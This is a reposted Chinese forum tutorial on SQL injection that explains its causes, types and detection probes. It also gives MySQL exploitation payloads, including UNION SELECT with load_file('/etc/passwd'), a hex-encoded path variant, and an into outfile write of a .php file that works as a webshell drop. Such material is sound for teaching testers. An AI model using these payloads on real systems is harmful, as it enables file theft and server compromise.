51Testing软件测试论坛

 找回密码
 (注-册)加入51Testing

QQ登录

只需一步,快速开始

微信登录,快人一步

查看: 1886|回复: 0

[转贴] Web安全之SQL注入漏洞

[复制链接]
  • TA的每日心情
    无聊
    昨天 09:28
  • 签到天数: 385 天

    连续签到: 4 天

    [LV.9]测试副司令

    发表于 2018-12-4 15:59:34 | 显示全部楼层 |阅读模式
    SQL注入原理
    前言
    结构化查询语句(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言。
    SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者利用这个问题,可以访问或者修改数据,或者利用潜在的数据库漏洞进行攻击。

    什么是SQL注入?
    SQL注入(Sql Injection)是一种讲SQL语句插入或者添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。

    常见的Web架构
    • 表示层:Web浏览器/呈现引擎---访问网站
    • 逻辑层:脚本语言:ASP、PHP、JSP、.NET等---加载、编译并执行脚本文件
    • 存储层:数据库:MSSQL、MYSQL、ORACLE等---执行SQL语句


    哪里存在SQL注入?
    • lGET
    • lPOST
    • lHTTP头部注入
    • lCookie注入
    • l……


    任何客户端可控,传递到服务器的变量。

    漏洞原理
    针对SQL注入的攻击行为,可描述为通过用户可控参数中注入SQL语法,破坏原有的SQL结构,达到编写程序时意料之外的结果的攻击行为。

    其成因可以归结为以下两点原因叠加造成的:
    1.程序编写者再处理程序和数据库交互的时候,使用字符拼接的方法构造SQL语句
    2.未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中

    SQL注入危害

    漏洞危害
    攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库)。在特别情况下,还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取Webshell或者服务器系统权限。
    •   SQL注入分类和利用
    •   SQL注入的分类
    •   根据SQL数据类型分类
    •   整型注入
    •   字符串类型注入


    根据注入的语法分类
    •   UNIONquery SQL injection(可联合查询注入)
    •   Eoor-basedSQL injection(报错型注入)
    •   Boolean-basedbind SQL injection(布尔型注入)
    •   Time-basedbind SQL injection(基于时间延迟注入)
    •   Stackedqueries SQL injection(可多语句查询注入)



    如何去判断SQL注入漏洞? 
    1. <p>uand</p><p>1=1 / and 1=2回显页面不同(整型判断)</p><p>u单引号’判断显示数据库错误信息或者页面回显不同(整型,字符串类型判断)</p><p>u\(转义符)</p><p>u-1</p><p>/ +1回显下一个或者上一个页面(整型判断)</p><p>uand</p><p>sleep(5) (判断页面返回时间)</p>
    复制代码

    SQL注入漏洞的利用
    MySQL数据库的特性

    一.MySQL中的3种注释风格
    1. <p>  (url编码为%23)</p><p>  u--</p><p>  (--后面要跟上一个或者多个空格)</p><p>  u--+</p><p>  (+相当于空格)</p><p>  u/*…*/</p><p>  u/*!...*/</p>
    复制代码
    二.MySQL函数利用
      1.常用函数
    1. <p>  luser()---数据库用户名</p><p>  l</p><p>  mysql>select user();</p><p>  +----------------+</p><p>  |user()|</p><p>  +----------------+</p><p>  |root@localhost |</p><p>  +----------------+</p><p>  1 rowin set (0.00 sec)</p><p>  ldatabase()---数据库名</p><p>  l</p><p>  mysql>select database();</p><p>  +------------+</p><p>  | database()|</p><p>  +------------+</p><p>  |security|</p><p>  +------------+</p><p>  1 rowin set (0.00 sec)</p><p>  l@@datadir---数据库路径</p><p>  l</p><p>  mysql>select @@datadir;</p><p>  +-----------------------+</p><p>  |@@datadir|</p><p>  +-----------------------+</p><p>  |C:\server\mysql\data\ |</p><p>  +-----------------------+</p><p>  1 rowin set (0.00 sec)</p><p>  l@@version_compile_os---操作系统版本</p><p>  l</p><p>  mysql>select @@version_compile_os;</p><p>  +----------------------+</p><p>  |@@version_compile_os |</p><p>  +----------------------+</p><p>  |Win64|</p><p>  +----------------------+</p><p>  1 rowin set (0.00 sec)</p><p>  lversion()---MySQL数据库版本</p><p>  l</p><p>  mysql>select version();</p><p>  +-----------+</p><p>  |version() |</p><p>  +-----------+</p><p>  |5.7.16|</p><p>  +-----------+</p><p>  1 rowin set (0.04 sec)</p><p>  l@@version---MySQL数据库版本</p><p>  l</p><p>  mysql>select @@version;</p><p>  +-----------+</p><p>  |@@version |</p><p>  +-----------+</p><p>  |5.7.16|</p><p>  +-----------+</p>
    复制代码
    •   1 rowin set (0.00 sec)
    •   2.load_file()函数读取文件操作


    前提:
    •  知道文件的绝对路径
    •  能够使用union查询
    •  对web目录有写的权限

    1. UNION SELECT1,load_file('/etc/passwd’),3,4,5#
    复制代码
    1. <p>  0x2f6574632f706173737764</p><p>  UNION SELECT 1,load_file(0x2f6574632f706173737764),3,4,5#</p>
    复制代码

    路径没有加单引号的话必须转换成十六进制
    要是想省略单引号的话必须转换成十六进制

    3.into
    outfile ‘路径’写入文件操作
    前提:
    •   文件名必须是全路径(绝对路径)
    •   用户必须有写文件的权限
    •   没有对单引号’过滤

    1.   SELECT ‘’ intooutfile ‘C:\\Windows\\tmp\\1.php’
    复制代码
    1. <p>  SELECT ‘’ into outfile ‘C:\\Windows\\tmp\\1.php’</p>
    复制代码
    路径里面两个反斜杠\\可以换成一个正斜杠/
    PHP语句没有加单引号的话必须转换成十六进制
    要是想省略单引号的话必须转换成十六进制
    后面路径的单引号不能省略
    或者
    建议一句话PHP语句转换成十六进制

    4.连接字符串函数
    1. <p>  l</p><p>  mysql>select concat('1234','5678');</p><p>  +-----------------------+</p><p>  |concat('1234','5678') |</p><p>  +-----------------------+</p><p>  |12345678|</p><p>  +-----------------------+</p><p>  1 rowin set (0.03 sec)</p><p>  lconcat_ws(separator,str1,str2)---含有分隔符的连接字符串</p><p>  l</p><p>  mysql>select concat_ws(0x7e,'1234','5678');</p><p>  +-------------------------------+</p><p>  |concat_ws(0x7e,'1234','5678') |</p><p>  +-------------------------------+</p><p>  |1234~5678|</p><p>  +-------------------------------+</p><p>  1 rowin set (0.04 sec)</p><p>  lgroup_concat(str1,str2)---连接一个组的所有字符串,并且以逗号分割每一条数据</p><p>  l</p><p>  mysql>select group_concat('1234','5678');</p><p>  +-----------------------------+</p><p>  |group_concat('1234','5678') |</p><p>  +-----------------------------+</p><p>  |12345678|</p><p>  +-----------------------------+</p><p>  1 rowin set (0.07 sec)</p><p></p>
    复制代码


    回复

    使用道具 举报

    本版积分规则

    关闭

    站长推荐上一条 /1 下一条

    小黑屋|手机版|Archiver|51Testing软件测试网 ( 沪ICP备05003035号 关于我们

    GMT+8, 2024-3-29 15:08 , Processed in 0.062604 second(s), 24 queries .

    Powered by Discuz! X3.2

    © 2001-2024 Comsenz Inc.

    快速回复 返回顶部 返回列表